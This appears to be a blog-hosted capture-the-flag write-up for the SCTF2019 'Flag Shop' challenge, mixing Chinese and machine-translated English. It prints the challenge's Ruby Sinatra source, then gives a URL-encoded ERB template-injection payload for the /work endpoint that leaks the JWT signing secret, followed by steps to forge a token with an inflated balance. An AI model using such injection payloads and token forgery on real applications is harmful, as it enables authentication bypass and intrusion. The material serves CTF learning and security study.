当前位置:网站首页>[SCTF2019]Flag Shop
[SCTF2019]Flag Shop
2022-07-30 12:12:00 【New Reading of the Classic of Tea.】
[SCTF2019]Flag Shop

点击buy flag会显示你的JinKela不够,如果点击resetwill reset youruid(好像没啥用),Click to work on yoursJinKela会上升,But not significantly increased

f12并没有发现什么东西,dirsearch扫描一下发现了robots.txt

访问得/filebak
![]()

Continue to visit to get the source code:
![]()
require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'
set :public_folder, File.dirname(__FILE__) + '/static'
FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)
configure do
enable :logging
file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
file.sync = true
use Rack::CommonLogger, file
end
get "/" do
redirect '/shop', 302
end
get "/filebak" do
content_type :text
erb IO.binread __FILE__
end
get "/api/auth" do
payload = { uid: SecureRandom.uuid , jkl: 20}
auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
end
get "/api/info" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end
get "/shop" do
erb :shop
end
get "/work" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
auth = auth[0]
unless params[:SECRET].nil?
if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
puts ENV["FLAG"]
end
end
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
end
end
post "/shop" do
islogin
auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
if auth[0]["jkl"] < FLAGPRICE then
json({title: "error",message: "no enough jkl"})
else
auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})
end
end
def islogin
if cookies[:auth].nil? then
redirect to('/shop')
end
end发现了jwt字样,bp抓包发现了jwt内容


解密(JSON Web Tokens - jwt.io)Find the same information as the title website
但是在jwtNeed to modify the amount of moneysecret,And the code is also givensecret的生成方式
if params[:do] == "#{params[:name][0,7]} is working" then
auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result需要传参,传do和name,Generated when the two are equalsecret,但是也发现了ERB(【技术分享】手把手教你如何完成Ruby ERB模板注入 - 安全客,安全资讯平台),需要<%= xxx %>传值,在ERB中发现ruby,查看ruby预定义变量(globals - Documentation for Ruby 2.4.0),发现$'Indicates the last match of the string on the right.

于是开始构造payload:/work?SECRET=&name=<%=$'%> is working

出现了400 Bad Request,It may be that some characters are filtered and the characters are carried outurl加密(在线url网址编码、解码器-BeJSON.com),构造出新的payload:/work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working,Incoming is obtainedsecret

有了secret就可以修改jwt了

填入secret,Then modify the amount,Scientific notation is used here,As long as it is larger than the required amount,得到新的jwt,返回bp传入,Here to startGET改为POST

Back to us againjwt,Take it to decrypt itflag

至此结束,撒花
边栏推荐
- ORA-00600 [13013], [5001], [268] 问题分析及恢复
- Underwater target detection method based on spatial feature selection
- saltstack学习1入门基础
- [SCTF2019]Flag Shop
- 基于空间特征选择的水下目标检测方法
- Redis 主从复制
- HJY-F931A/YJ three-phase voltage relay
- 基于声信道分析的电缆隧道人员定位技术
- LCD1602 display experiment developed by single chip microcomputer
- VSCode更改插件的安装位置
猜你喜欢
随机推荐
LeetCode_235_二叉搜索树的最近公共祖先
TensorFlow自定义训练函数
mapbox-gl开发教程(十四):画圆技巧
2022-07-29 Gu Yujia Study Notes Exception Handling
Matlab基础(3)——元胞与结构体
备战金九银十!2022面试必刷大厂架构面试真题汇总+阿里七面面经+架构师简历模板分享
概率论的学习整理3: 概率的相关概念
SCM engineers written questions induction summary
TensorFlow custom training function
Apifox 生成接口文档 教程与操作步骤
win下怎么搭建php环境的方法教程
基于加权灰色关联投影的Bagging-Blending多模型融合短期电力负荷预测
小心 transmittable-thread-local 的这个坑
EA中的业务对象和业务实体你分得清吗?
Leetcode 125. 验证回文串
Difference between C# enumeration type and xaml
京东二面痛遭中间件虐杀,30天学透这套中间件小册,挺进阿里
PanGu-Coder: 函数级的代码生成模型
流水线上的农民:我在工厂种蔬菜
Static LED display developed by single chip microcomputer









